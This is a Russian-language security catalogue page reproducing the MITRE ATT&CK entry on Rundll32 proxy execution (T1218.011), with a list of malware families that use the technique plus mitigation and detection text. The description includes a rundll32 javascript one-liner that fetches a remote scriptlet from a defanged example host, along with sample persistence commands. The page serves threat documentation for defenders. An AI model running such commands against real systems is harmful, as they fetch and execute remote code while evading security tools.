Куда я попал?

SECURITM это SGRC система, автоматизирующая процессы в службах информационной безопасности. SECURITM помогает построить и управлять ИСПДн, КИИ, ГИС, СМИБ/СУИБ, банковскими системами защиты.
А еще SECURITM это место для обмена опытом и наработками для служб безопасности.

Подробнее

System Binary Proxy Execution: Rundll32

Other sub-techniques of System Binary Proxy Execution (13)

ID	Название
.001	CHM-файл
.002	Панель управления
.003	Установщик профилей диспетчера подключений (CMSTP)
.004	Утилита InstallUtil
.005	Утилита mshta
.007	Утилита msiexec
.008	Утилита odbcconf
.009	Утилиты Regsvcs и Regasm
.010	Утилита Regsvr32
.011	Rundll32
.012	Verclsid
.013	Mavinject
.014	MMC

Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads (ex: rundll32.exe {DLLname, DLLfunction}). Rundll32.exe can also be used to execute Control Panel Item files (.cpl) through the undocumented shell32.dll functions Control_RunDLL and Control_RunDLLAsUser. Double-clicking a .cpl file also causes rundll32.exe to execute. (Citation: Trend Micro CPL) Rundll32 can also be used to execute scripts such as JavaScript. This can be done using a syntax similar to this: rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:https[:]//www[.]example[.]com/malicious.sct")" This behavior has been seen used by malware such as Poweliks. (Citation: This is Security Command Line Confusion) Adversaries may also attempt to obscure malicious code from analysis by abusing the manner in which rundll32.exe loads DLL function names. As part of Windows compatibility support for various character sets, rundll32.exe will first check for wide/Unicode then ANSI character-supported functions before loading the specified function (e.g., given the command rundll32.exe ExampleDLL.dll, ExampleFunction, rundll32.exe would first attempt to execute ExampleFunctionW, or failing that ExampleFunctionA, before loading ExampleFunction). Adversaries may therefore obscure malicious code by creating multiple identical exported function names and appending W and/or A to harmless ones.(Citation: Attackify Rundll32.exe Obscurity)(Citation: Github NoRunDll) DLL functions can also be exported and executed by an ordinal number (ex: rundll32.exe file.dll,#1). Additionally, adversaries may use Masquerading techniques (such as changing DLL file names, file extensions, or function names) to further conceal execution of a malicious payload.(Citation: rundll32.exe defense evasion)

ID: T1218.011

Относится к технике: T1218

Тактика(-и): Defense Evasion

Платформы: Windows

Источники данных: Command: Command Execution, File: File Metadata, Module: Module Load, Process: Process Creation

Версия: 2.0

Дата создания: 23 Jan 2020

Последнее изменение: 19 Apr 2022

Название	Описание
Примеры процедур
InvisiMole	InvisiMole has used rundll32.exe for execution.(Citation: ESET InvisiMole June 2020)
PUNCHBUGGY	PUNCHBUGGY can load a DLL using Rundll32.(Citation: FireEye Know Your Enemy FIN8 Aug 2016)
BoomBox	BoomBox can use RunDLL32 for execution.(Citation: MSTIC Nobelium Toolset May 2021)
ADVSTORESHELL	ADVSTORESHELL has used rundll32.exe in a Registry value to establish persistence.(Citation: Bitdefender APT28 Dec 2015)
Briba	Briba uses rundll32 within Registry Run Keys / Startup Folder entries to execute malicious DLLs.(Citation: Symantec Briba May 2012)
MegaCortex	MegaCortex has used `rundll32.exe` to load a DLL for file encryption.(Citation: IBM MegaCortex)
GreyEnergy	GreyEnergy uses PsExec locally in order to execute rundll32.exe at the highest privileges (NTAUTHORITY\SYSTEM).(Citation: ESET GreyEnergy Oct 2018)
StreamEx	StreamEx uses rundll32 to call an exported function.(Citation: Cylance Shell Crew Feb 2017)
Emissary	Variants of Emissary have used rundll32.exe in Registry values added to establish persistence.(Citation: Emissary Trojan Feb 2016)
PowerDuke	PowerDuke uses rundll32.exe to load.(Citation: Volexity PowerDuke November 2016)
Mosquito	Mosquito's launcher uses rundll32.exe in a Registry Key value to start the main backdoor capability.(Citation: ESET Turla Mosquito Jan 2018)
Prikormka	Prikormka uses rundll32.exe to load its DLL.(Citation: ESET Operation Groundbait)
Egregor	Egregor has used rundll32 during execution.(Citation: Cybereason Egregor Nov 2020)
Gamaredon Group	Gamaredon Group malware has used rundll32 to launch additional malicious components.(Citation: ESET Gamaredon June 2020)
PolyglotDuke	PolyglotDuke can be executed using rundll32.exe.(Citation: ESET Dukes October 2019)
Elise	After copying itself to a DLL file, a variant of Elise calls the DLL file using rundll32.exe.(Citation: Lotus Blossom Jun 2015)
APT19	APT19 configured its payload to inject into the rundll32.exe.(Citation: FireEye APT19)
Attor	Attor's installer plugin can schedule rundll32.exe to load the dispatcher.(Citation: ESET Attor Oct 2019)
FunnyDream	FunnyDream can use `rundll32` for execution of its components.(Citation: Bitdefender FunnyDream Campaign November 2020)
Kimsuky	Kimsuky has used `rundll32.exe` to execute malicious scripts and malware on a victim's network.(Citation: Talos Kimsuky Nov 2021)
EnvyScout	EnvyScout has the ability to proxy execution of malicious files with Rundll32.(Citation: MSTIC Nobelium Toolset May 2021)
Backdoor.Oldrea	Backdoor.Oldrea can use rundll32 for execution on compromised hosts.(Citation: Gigamon Berserk Bear October 2021)
	During C0015, the threat actors loaded DLLs via `rundll32` using the `svchost` process.(Citation: DFIR Conti Bazar Nov 2021)
Carbanak	Carbanak installs VNC server software that executes through rundll32.(Citation: Kaspersky Carbanak)
APT3	APT3 has a tool that can run DLLs.(Citation: FireEye Clandestine Fox)
Magic Hound	Magic Hound has used rundll32.exe to execute MiniDump from comsvcs.dll when dumping LSASS memory.(Citation: DFIR Report APT35 ProxyShell March 2022)
TA551	TA551 has used rundll32.exe to load malicious DLLs.(Citation: Unit 42 TA551 Jan 2021)
DDKONG	DDKONG uses Rundll32 to ensure only a single instance of itself is running at once.(Citation: Rancor Unit42 June 2018)
gh0st RAT	A gh0st RAT variant has used rundll32 for execution.(Citation: Arbor Musical Chairs Feb 2018)
SDBbot	SDBbot has used rundll32.exe to execute DLLs.(Citation: Korean FSI TA505 2020)
Blue Mockingbird	Blue Mockingbird has executed custom-compiled XMRIG miner DLLs using rundll32.exe.(Citation: RedCanary Mockingbird May 2020)
Winnti for Windows	The Winnti for Windows installer loads a DLL using rundll32.(Citation: Microsoft Winnti Jan 2017)(Citation: Novetta Winnti April 2015)
CozyCar	The CozyCar dropper copies the system file rundll32.exe to the install location for the malware, then uses the copy of rundll32.exe to load and execute the main CozyCar component.(Citation: F-Secure CozyDuke)
APT32	APT32 malware has used rundll32.exe to execute an initial infection process.(Citation: Cybereason Cobalt Kitty 2017)
Heyoka Backdoor	Heyoka Backdoor can use rundll32.exe to gain execution.(Citation: SentinelOne Aoqin Dragon June 2022)
Mongall	Mongall can use `rundll32.exe` for execution.(Citation: SentinelOne Aoqin Dragon June 2022)
SUNBURST	SUNBURST used Rundll32 to execute payloads.(Citation: Microsoft Deep Dive Solorigate January 2021)
Bumblebee	Bumblebee has used `rundll32` for execution of the loader component.(Citation: Proofpoint Bumblebee April 2022)(Citation: Symantec Bumblebee June 2022)
Lazarus Group	Lazarus Group has used rundll32 to execute malicious payloads on a compromised host.(Citation: McAfee Lazarus Jul 2020)(Citation: ESET Lazarus Jun 2020)(Citation: ESET Twitter Ida Pro Nov 2021)
TA505	TA505 has leveraged `rundll32.exe` to execute malicious DLLs.(Citation: Cybereason TA505 April 2019)(Citation: Deep Instinct TA505 Apr 2019)
Bad Rabbit	Bad Rabbit has used rundll32 to launch a malicious DLL as `C:Windowsinfpub.dat`.(Citation: Secure List Bad Rabbit)
PcShare	PcShare has used `rundll32.exe` for execution.(Citation: Bitdefender FunnyDream Campaign November 2020)
CopyKittens	CopyKittens uses rundll32 to load various tools on victims, including a lateral movement tool named Vminst, Cobalt Strike, and shellcode.(Citation: ClearSky Wilted Tulip July 2017)
APT41	APT41 has used rundll32.exe to execute a loader.(Citation: Crowdstrike GTR2020 Mar 2020)
FlawedAmmyy	FlawedAmmyy has used `rundll32` for execution.(Citation: Korean FSI TA505 2020)
UNC2452	UNC2452 used Rundll32 to execute payloads.(Citation: Microsoft - Customer Guidance on Recent Nation-State Cyber Attacks)(Citation: Microsoft Deep Dive Solorigate January 2021)
Sandworm Team	Sandworm Team used a backdoor which could execute a supplied DLL using rundll32.exe.(Citation: ESET Telebots July 2017)
APT28	APT28 executed CHOPSTICK by using rundll32 commands such as `rundll32.exe “C:\Windows\twain_64.dll”`. APT28 also executed a .dll for a first stage dropper using rundll32.exe. An APT28 loader Trojan saved a batch script that uses rundll32 to execute a DLL payload.(Citation: Crowdstrike DNC June 2016)(Citation: Bitdefender APT28 Dec 2015)(Citation: Palo Alto Sofacy 06-2018)(Citation: Unit 42 Playbook Dec 2017)(Citation: ESET Zebrocy May 2019)(Citation: Cybersecurity Advisory GRU Brute Force Campaign July 2021)
Bisonal	Bisonal has used rundll32.exe to execute as part of the Registry Run key it adds: `HKEY_CURRENT_USER \Software\Microsoft\Windows\CurrentVersion\Run\”vert” = “rundll32.exe c:\windows\temp\pvcu.dll , Qszdez”`.(Citation: Unit 42 Bisonal July 2018)
HAFNIUM	HAFNIUM has used `rundll32` to load malicious DLLs.(Citation: Volexity Exchange Marauder March 2021)
USBferry	USBferry can execute rundll32.exe in memory to avoid detection.(Citation: TrendMicro Tropic Trooper May 2020)
Pteranodon	Pteranodon executes functions using rundll32.exe.(Citation: Palo Alto Gamaredon Feb 2017)
NativeZone	NativeZone has used rundll32 to execute a malicious DLL.(Citation: SentinelOne NobleBaron June 2021)
Sakula	Sakula calls cmd.exe to run various DLL files via rundll32.(Citation: Dell Sakula)
ZxShell	ZxShell has used rundll32.exe to execute other DLLs and named pipes.(Citation: Talos ZxShell Oct 2014)
ServHelper	ServHelper contains a module for downloading and executing DLLs that leverages `rundll32.exe`.(Citation: Deep Instinct TA505 Apr 2019)
NOKKI	NOKKI has used rundll32 for execution.(Citation: Unit 42 NOKKI Sept 2018)
FatDuke	FatDuke can execute via rundll32.(Citation: ESET Dukes October 2019)
RTM	RTM runs its core DLL file using rundll32.exe.(Citation: ESET RTM Feb 2017)(Citation: Unit42 Redaman January 2019)
Kwampirs	Kwampirs uses rundll32.exe in a Registry value added to establish persistence.(Citation: Symantec Orangeworm April 2018)
KONNI	KONNI has used Rundll32 to execute its loader for privilege escalation purposes.(Citation: Medium KONNI Jan 2020)(Citation: Malwarebytes Konni Aug 2021)
FELIXROOT	FELIXROOT uses Rundll32 for executing the dropper program.(Citation: FireEye FELIXROOT July 2018)(Citation: ESET GreyEnergy Oct 2018)
	During Operation Spalax, the threat actors used `rundll32.exe` to execute malicious installers.(Citation: ESET Operation Spalax Jan 2021)
APT29	APT29 has used `Rundll32.exe` to execute payloads.(Citation: Microsoft - Customer Guidance on Recent Nation-State Cyber Attacks)(Citation: Microsoft Deep Dive Solorigate January 2021)(Citation: FireEye APT29 Nov 2018)
Sibot	Sibot has executed downloaded DLLs with `rundll32.exe`.(Citation: MSTIC NOBELIUM Mar 2021)
Comnie	Comnie uses Rundll32 to load a malicious DLL.(Citation: Palo Alto Comnie)
EVILNUM	EVILNUM can execute commands and scripts through rundll32.(Citation: Prevailion EvilNum May 2020)
APT38	APT38 has used rundll32.exe to execute binaries, scripts, and Control Panel Item files and to execute code via proxy to avoid triggering security tools.(Citation: CISA AA20-239A BeagleBoyz August 2020)
BLINDINGCAN	BLINDINGCAN has used Rundll32 to load a malicious DLL.(Citation: US-CERT BLINDINGCAN Aug 2020)
CORESHELL	CORESHELL is installed via execution of rundll32 with an export named "init" or "InitW."(Citation: Microsoft SIR Vol 19)
Matryoshka	Matryoshka uses rundll32.exe in a Registry Run key value for execution as part of its persistence mechanism.(Citation: CopyKittens Nov 2015)
Flame	Rundll32.exe is used as a way of executing Flame at the command-line.(Citation: Crysys Skywiper)
LazyScripter	LazyScripter has used `rundll32.exe` to execute Koadic stagers.(Citation: MalwareBytes LazyScripter Feb 2021)
NotPetya	NotPetya uses `rundll32.exe` to install itself on remote systems when accessed via PsExec or `wmic`.(Citation: Talos Nyetya June 2017)
Cobalt Strike	Cobalt Strike can use `rundll32.exe` to load DLL from the command line.(Citation: Cobalt Strike Manual 4.3 November 2020)(Citation: DFIR Conti Bazar Nov 2021)
JHUHUGIT	JHUHUGIT is executed using rundll32.exe.(Citation: F-Secure Sofacy 2015)(Citation: Talos Seduploader Oct 2017)
HermeticWizard	HermeticWizard has the ability to create a new process using `rundll32`.(Citation: ESET Hermetic Wizard March 2022)
Ragnar Locker	Ragnar Locker has used rundll32.exe to execute components of VirtualBox.(Citation: Sophos Ragnar May 2020)
MuddyWater	MuddyWater has used malware that leveraged rundll32.exe in a Registry Run key to execute a .dll.(Citation: Securelist MuddyWater Oct 2018)
QakBot	QakBot can use Rundll32.exe to enable C2 communication.(Citation: Crowdstrike Qakbot October 2020)(Citation: Red Canary Qbot)(Citation: Cyberint Qakbot May 2021)(Citation: ATT QakBot April 2021)
Squirrelwaffle	Squirrelwaffle has been executed using `rundll32.exe`.(Citation: ZScaler Squirrelwaffle Sep 2021)(Citation: Netskope Squirrelwaffle Oct 2021)
Koadic	Koadic can use Rundll32 to execute additional payloads.(Citation: Github Koadic)

Контрмера	Описание
Контрмеры
Exploit Protection	Use capabilities to detect and block conditions that may lead to or be indicative of a software exploit occurring.

Обнаружение

Use process monitoring to monitor the execution and arguments of rundll32.exe. Compare recent invocations of rundll32.exe with prior history of known good arguments and loaded DLLs to determine anomalous and potentially adversarial activity. Command arguments used with the rundll32.exe invocation may also be useful in determining the origin and purpose of the DLL being loaded. Analyzing DLL exports and comparing to runtime arguments may be useful in uncovering obfuscated function calls.

Ссылки

Связанные риски

Ничего не найдено

Каталоги

Мы используем cookie-файлы, чтобы получить статистику, которая помогает нам улучшить сервис для вас с целью персонализации сервисов и предложений. Вы может прочитать подробнее о cookie-файлах или изменить настройки браузера. Продолжая пользоваться сайтом, вы даёте согласие на использование ваших cookie-файлов и соглашаетесь с Политикой обработки персональных данных.